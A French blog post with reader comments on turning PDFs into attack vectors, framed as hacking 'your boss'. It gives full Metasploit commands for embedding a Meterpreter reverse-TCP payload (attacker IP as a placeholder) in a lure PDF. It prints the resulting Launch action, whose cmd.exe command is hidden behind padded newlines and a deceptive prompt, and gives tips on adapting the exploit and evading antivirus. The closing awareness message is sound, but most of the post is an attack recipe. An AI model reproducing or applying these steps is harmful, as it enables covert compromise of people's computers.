Utiliser un PDF pour pirater votre boss comme un nul(l)

« Un PDF, c’est comme un scan : une image sur chaque page. »
« Un PDF, c’est un document que tu ne peux pas modifier : il ne contient que du texte et des images. »

Voici le genre de phrases que j’entends parfois. Mais saviez-vous que vous pouviez être pistés rien qu’en ouvrant un PDF ?
Pire ! Saviez-vous que vous risquiez de donner accès à votre ordinateur à un hacker rien qu’en ouvrant un PDF ?

Bouh !

Bouh !

On pourrait croire qu’un PDF n’est constitué que d’images ou de texte… jusqu’à ce qu’on tombe sur ce type de PDF : Fichier PDF avec un formulaire

Qu’est-ce qu’un PDF ?

Dieu Wikipedia nous donne cette définition :

Le Portable Document Format, communément abrégé en PDF, est un langage de description de pages créé par la société Adobe Systems et dont la spécificité est de préserver la mise en forme d’un fichier – polices d’écritures, images, objets graphiques, etc – telle qu’elle a été définie par son auteur, et cela quels que soient le logiciel, le système d’exploitation et l’ordinateur utilisés pour l’imprimer ou le visualiser.

Mais que contient réellement un PDF ?

  • Un en-tête qui indique la version de PDF
  • Un corps de document indiquant le contenu du fichier
    • Des variables booléennes ou numériques
    • Des chaînes de caractères
    • Des noms
    • Des objets ordonnés par indices ou par noms
    • Des flux de données (images, etc.)
  • Une table de références indiquant à quelle position se trouve chaque objet dans le fichier
  • Des informations utiles (objet à charger en premier, etc.)

Comme on peut le voir, rien de bien méchant… mais que sont ces « objets » ?

Ces objets sont en réalité une suite de commandes (à la manière de postscript) :

1 0 obj
<<
 /Kids[<<
 /Parent 1 0 R
 /Contents[2 0 R]
 >>]
 /Resources<<>>
>>
endobj
2 0 obj
<<
>>
stream
BT/default 99 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET
endstream
endobj

On a ici les objets permettant la création d’un document PDF affichant Hello World! sur la première page.

En voici un autre :

1 0 obj
<<
 /Pages
 <<
 >>
 /OpenAction
 <<
 /S /JavaScript
 /JS (app.alert('Hello World!');)
 >>
>>
endobj

Je… O_o m’aurait-on menti ?
Vous ne rêvez pas, cet objet permet l’affichage d’une alerte javascript ! 🙂

Voyons un dernier objet :

1 0 obj
<<
 /Pages
 <<
 >>
 /OpenAction
 <<
 /S /JavaScript
 /JS (app.launchURL('http://www.google.fr');)
 >>
>>
endobj

Pour ce dernier, une pop-up s’ouvrira pour confirmation… mais qui lit ces trucs ?
Vous pourrez donc tranquillement rediriger la personne qui ouvre votre PDF sur une page malveillante et infecter sa machine.

Jusqu’à la version 9.3.4 de Adobe PDF, on pouvait également exécuter n’importe quelle application à partir d’un PDF, moyennant une petite pop-up de confirmation dans laquelle on pouvait afficher le texte que l’on souhaitait. (http://blog.didierstevens.com/2010/03/29/escape-from-pdf/)

Depuis, il existe des méthodes détournées (mais plus compliquées) pour exécuter du code embarqué dans le PDF.

Metasploit à la rescousse

Je vais vous décrire ici la méthode compatible avec Adobe PDF avant 9.3.4. Vous la trouverez en anglais ici : http://null-byte.wonderhowto.com/how-to/hack-like-pro-embed-backdoor-connection-innocent-looking-pdf-0140942/

Metasploit permet d’automatiser la création de PDF malveillants. On lui fournit un PDF légitime et il s’occupe d’injecter le code nécessaire pour exécuter un petit Meterpreter.

Après avoir lancé metasploit, on cherche les exploits ciblant les PDF sous Windows :

msf > search type:exploit platform:windows adobe pdf
Oui, je pompe les images directement de l'article cité plus haut, il est tellement bien fait, je vous encourage à suivre son blog.

Oui, je pompe les images directement de l’article cité plus haut, il est tellement bien fait, je vous encourage à suivre son blog.

Pour ne pas obtenir l’erreur Incompatible PDF structure: key not found: « Root », il faut tout d’abord créer un PDF compatible :

echo "Hello world!" > femmes_toutes_nues.txt
groff -Tps femmes_toutes_nues.txt > femmes_toutes_nues.ps
ps2pdf femmes_toutes_nues.ps

Normalement cet exploit fonctionne avec tout PDF créé avec Adobe reader 8 ou 9. Ca date un peu, mais je vous explique ici un concept… d’autant que de nombreuses entreprises utilisent toujours Adobe reader 9…

Celui qui nous intéresse est exploit/windows/fileformat/adobe_pdf_embedded_exe qui embarquera notre cheval de Troie directement dans un PDF.

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe

Sous Metasploit, on peut afficher les informations d’un exploit, après l’avoir sélectionné avec la commande « use », en tapant « info ».

Informations sur l'exploit adobe_pdf_embedded_exe

Il faut lui indiquer :

  • Quel cheval de Troie on veut embarquer (j’utilise la version reverse_tcp de Meterpreter pour l’exemple)
msf > exploit (adobe_pdf_embedded_exe) > set PAYLOAD windows/meterpreter/reverse_tcp
  • Quel PDF infecter
msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME femmes_toutes_nues.pdf
  • Le nom du PDF une fois infecté
msf > exploit (adobe_pdf_embedded_exe) > set FILENAME femmes_toutes_nues_tres_tres_cochonnes.pdf
  • La configuration nécessaire à Meterpreter (je ne m’attarderai pas là-dessus)
msf > exploit (adobe_pdf_embedded_exe) > set LHOST <MON_IP_DE_VILAIN_HACKER>

Il ne reste qu’à créer le PDF !

msf > exploit (adobe_pdf_embedded_exe) > exploit

Le résultat devrait se trouver dans /root/.msf4/local/, quel que soit le chemin que vous avez défini dans FILENAME.

Il ne reste qu’à l’ouvrir et passer la pop-up de confirmation pour voir Metasploit réagir.

Parce que je ne fais pas que recopier…

Toute la partie précédente n’était qu’une traduction d’un sujet vu et revu sur la toile… Mais que se passe-t-il réellement dans notre PDF?

Si vous avez créé le PDF original en suivant cet article, vous devriez avoir un fichier qui ressemble à ça :

[ENTÊTE]
5 0 obj
<</Length 6 0 R/Filter /FlateDecode>>
stream
[UN FLUX CORRESPONDANT AU CONTENU]
endstream
endobj
[TOUT UN TAS D'OBJETS POUR FORMATTER LE DOCUMENT]
/Subtype/XML/Length 1334>>stream
[DU CONTENU XML POUR LES METADONNEES]
endstream
endobj
[UN OBJET DE METADONNEES (ENCORE)]
xref
[UNE TABLE DE REFERENCES]
trailer
<< /Size 12 /Root 1 0 R /Info 2 0 R
/ID [<A7F89002A6B8A0D754C8BA7F6F0A050D><A7F89002A6B8A0D754C8BA7F6F0A050D>]
>>
startxref
2219
%%EOF

Le fichier est relativement compliqué car il a été généré automatiquement, il contient tout un tas de données facultatives.

Comparons-le maintenant au PDF généré par Metasploit :

[LA MÊME CHOSE QUE PRÉCÉDEMMENT]
12 0 obj
<</EmbeddedFiles 13 0 R>>
endobj
13 0 obj
<</Names[(test)14 0 R]>>
endobj
14 0 obj
<</UF(test.pdf)/F(test.pdf)/EF<</F 15 0 R>>/Desc(test)/Type/Filespec>>
endobj
15 0 obj
<</Subtype/application#2Fpdf/Length 44157/Filter/FlateDecode/DL 73802/Params<</Size 73802/CheckSum<7DA3B1CC49FC6ED9C9936B772FFC103A>>>>>stream
[TOUT UN TAS DE DONNEES BINAIRES]
endstream
endobj
16 0 obj
<</S/JavaScript/JS(this.exportDataObject({ cName: "test", nLaunch: 0 });)/Type/Action>>
endobj
17 0 obj
<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\windows\\system32)/P(/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\test.pdf" (cd "Desktop"))&(if exist "My Documents\\test.pdf" (cd "My Documents"))&(if exist "Documents\\test.pdf" (cd "Documents"))&(if exist "Escritorio\\test.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\\test.pdf" (cd "Mis Documentos"))&(start test.pdf)















To view the encrypted content please tick the "Do not show this message again" box and press Open.)>>>>
endobj
1 0 obj
<</Type /Catalog /Pages 3 0 R/Names 12 0 R/OpenAction 16 0 R
/Metadata 11 0 R
>>
endobj
4 0 obj
<</Type/Page/MediaBox [0 0 595 842]
/Rotate 0/Parent 3 0 R
/Resources<</ProcSet[/PDF /Text]
/ExtGState 9 0 R
/Font 10 0 R
>>
/Contents 5 0 R
/AA<</O 17 0 R>>>>
endobj
xref
12 6
0000002612 00000 n
0000002654 00000 n
0000002695 00000 n
0000002782 00000 n
0000047107 00000 n
0000047211 00000 n
1 1
0000047721 00000 n
4 1
0000047817 00000 n
trailer
<</Size 18/Prev 2219/Root 1 0 R/Info 2 0 R>>
startxref
47992
%%EOF

On se rend compte assez rapidement que Metasploit a collé un second PDF à la suite du premier.

Ce second PDF va exécuter l’action 16 :

/S/JavaScript/JS(this.exportDataObject({ cName: "test", nLaunch: 0 });)/Type/Action

En gros : Adobe reader enregistre la pièce jointe nommée « test ». Cette pièce jointe est définie à l’objet 13 (on se croirait dans ces histoires dont on est le héros 🙂 ):

/Names[(test)14 0 R]

Cet objet nous informe que la pièce jointe est à l’objet 14 :

/UF(test.pdf)/F(test.pdf)/EF<</F 15 0 R>>/Desc(test)/Type/Filespec

On a un nom (test.pdf) ainsi que la référence du contenu (objet 15) :

/Subtype/application#2Fpdf/Length 44157/Filter/FlateDecode/DL 73802/Params<</Size 73802/CheckSum<7DA3B1CC49FC6ED9C9936B772FFC103A>>>>>stream
[TOUT UN TAS DE DONNEES BINAIRES]
endstream

Une fois ce fichier téléchargé, Adobe reader va exécuter l’action 4 :

bla bla bla

/AA<</O 17 0 R>>

L’action 17 sera alors lancée (c’est là que je trouve Metasploit particulièrement sale…) :

/S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\windows\\system32)/P(/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\test.pdf" (cd "Desktop"))&(if exist "My Documents\\test.pdf" (cd "My Documents"))&(if exist "Documents\\test.pdf" (cd "Documents"))&(if exist "Escritorio\\test.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\\test.pdf" (cd "Mis Documentos"))&(start test.pdf)

[BEAUCOUP DE SAUTS DE LIGNES]

To view the encrypted content please tick the "Do not show this message again" box and press Open.)

Une fenêtre de confirmation affichera la commande à exécuter. Comme il y a plein de sauts de lignes, l’utilisateur ne verra que To view the encrypted content please tick the « Do not show this message again » box and press Open.
Pour voir la commande réelle, il devra scroller vers le haut… ce que personne ne fait jamais 🙂

Avec un peu de chance, l’utilisateur cliquera sur « OK » et la commande sera exécutée.

Elle consiste à charger en mémoire comme un DLL le contenu du PDF tout juste téléchargé, puis à le lancer.

C’est là que c’est moche : Metasploit a configuré une liste de dossiers probables où devrait se trouver le fichier… Pour utiliser cet exploit, je vous conseille fortement de revoir cette liste et d’ajouter ou supprimer des dossiers pour convenir à vos besoins.

Ce DLL chargé en mémoire n’est rien d’autre que le premier stage de Meterpreter. Il sera détecté par les antivirus comme tout Meterpreter à moins que vous n’appliquiez des méthodes d’évasion (Rendre meterpreter invisible en modifiant metasploit comme un nul(l)).

Conclusion

Ce n’est pas parce que tout le monde pense qu’un fichier ne fournit que du contenu statique sans danger… qu’un fichier ne fournit que du contenu statique sans danger !

Beaucoup de fichiers permettent l’exécution de code ou de macros, sans que ces fonctionnalités soient pour autant utilisées par le grand public.

Le PDF est un exemple flagrant : encore trop de personnes pensent qu’il ne s’agit que de texte ou d’images. Un PDF doit être vu comme n’importe quelle application lancée sur un ordinateur.
On peut appliquer ce principe à tous les documents courants (Word, Excel, PowerPoint, etc.)

On a encore eu récemment un bel exemple sous PowerPoint : http://thehackernews.com/2014/10/microsoft-powerpoint-vulnerable-to-zero.html

Des souvenirs d'enfance :-)

Des souvenirs d’enfance 🙂

Parce que je n’ai pas la science infuse, les sources

Nouveau : à vous de décider !

À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , , , , , , , , , , , ,
Publié dans Informatique, Intrusion, Metasploit, Piratage
4 comments on “Utiliser un PDF pour pirater votre boss comme un nul(l)
  1. biget guillaume dit :

    Aléluiaaaaaa je l’attendais ! 😀

  2. Waky dit :

    Super comme toujours. Merci encore et continue !

  3. f30531aa dit :

    Il existe des exploits compatibles avec les versions actuelles d’adobe? Ca marche sous mac? Merci mille fois

    • mystcaster dit :

      Cet exploit Metasploit ne fonctionne pas sous MAC (car il fait appel à cmd.exe) mais j’imagine qu’avec la même version de PDF sous Mac on doit pouvoir effectuer le même genre d’exploit.
      Cet article n’est là que pour donner des pistes. Les exploits changent tous les jours, les développeurs comblent des failles alors que d’autres sont exploitées tous les jours.
      En début d’article je mettais en avant le fait que du Javascript puisse être exécuté. On peut donc s’en servir pour sortir du contexte de Adobe reader en redirigeant par exemple sur n’importe quelle page Web. Un autre exploit pourra alors servir à compromettre la machine.

Laisser un commentaire

MystCaster
novembre 2014
L M M J V S D
 12
3456789
10111213141516
17181920212223
24252627282930
Catégories
Archives